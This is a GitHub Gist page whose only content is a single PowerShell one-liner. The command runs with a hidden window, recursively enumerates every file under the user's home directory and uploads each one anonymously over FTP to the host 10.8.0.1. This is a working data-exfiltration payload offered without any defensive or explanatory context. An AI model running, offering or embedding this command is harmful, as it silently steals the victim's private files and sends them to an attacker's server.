Created
August 31, 2020 00:33
-
-
Save Klepvink/b20103a1d0a1b94a784dff4746e64277 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
powershell -w hidden -c "$w=New-Object System.Net.WebClient;$w.Credentials=New-Object System.Net.NetworkCredential('anonymous');foreach($i in(dir $HOME '*' -Recurse)){$u=New-Object System.Uri('ftp://10.8.0.1/'+$i.Name);$w.UploadFile($u,$i.FullName)}" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment